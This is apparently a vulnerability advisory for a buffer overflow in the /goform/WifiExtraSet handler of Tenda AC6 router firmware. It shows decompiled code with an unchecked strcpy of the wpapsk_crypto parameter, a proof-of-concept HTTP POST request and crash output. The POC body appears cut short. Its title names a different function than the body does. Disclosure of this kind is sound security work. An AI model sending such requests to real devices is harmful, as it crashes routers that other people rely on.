Tenda AC6V1.0 V15.03.05.19 was discovered to contain a buffer overflow via the wpapsk_crypto parameter in the fromSetWirelessRepeat function.

Description

`Tenda` Router **AC6V1.0 V15.03.05.19** was discovered to contain a buffer overflow in the `httpd` module when handling `/goform/WifiExtraSet` request.

Firmware information

- Manufacturer's address: https://www.tenda.com.cn/
- Firmware download address : https://www.tenda.com.cn/download/detail-2681.html

Affected version

Vulnerability details

This vulnerability lies in the `/goform/WifiExtraSet` page，The details are shown below:

```
    if ( strcmp(v38, "wpapsk") )
    {
      v58 = 1;
      goto LABEL_121;
    }
    wpapsk_type_value = (char *)get_value_from_web(a1, (int)"wpapsk_type", (int)"wpa&wpa2");
    wpapsk_crypto_value = (char *)get_value_from_web(a1, (int)"wpapsk_crypto", (int)"aes");
    wpapsk_key_value = (char *)get_value_from_web(a1, (int)"wpapsk_key", (int)&unk_EC01C);
    if ( !*wpapsk_key_value && strlen(wpapsk_key_value) <= 7 )
    {
      v58 = 1;
      goto LABEL_121;
    }
    if ( !strcmp(wpapsk_type_value, "wpa") )
    {
      strcpy(v11, "psk");
    }
    else if ( !strcmp(wpapsk_type_value, "wpa2") )
    {
      strcpy(v11, "psk2");
    }
    else
    {
      strcpy(v11, "psk psk2");
    }
    if ( !strcmp(wpapsk_crypto_value, "tkip&aes") )
      strcpy(v10, "tkip+aes");
    else
      strcpy(v10, wpapsk_crypto_value);
    SetValue("wl5g.extra.wpapsk_type", v11);
    SetValue("wl5g.extra.wpapsk_crypto", v10);
    SetValue("wl5g.extra.wpapsk_psk", wpapsk_key_value);
  }
 }
}
```

POC

This POC can result in a Dos.

```
POST /goform/WifiExtraSet HTTP/1.1
Host: 192.168.204.133
Content-Length: 247
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.204.133
Referer: http://192.168.204.133/parental_control.html?random=0.7058891673130268&
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: password=iqb1qw; bLanguage=cn
Connection: close

wifi_chkHz=1&wl_mode=wisp&wl_enbale=1&country_code=CN&wpsEn=0&guestEn=0&iptvEn=0&wifiTimerEn=1&smartSaveEn=1&dmzEn=1&handset=0&ssid=f
```

```
Connect to server failed.
Unsupported setsockopt level=1 optname=13
Segmentation fault (core dumped)
```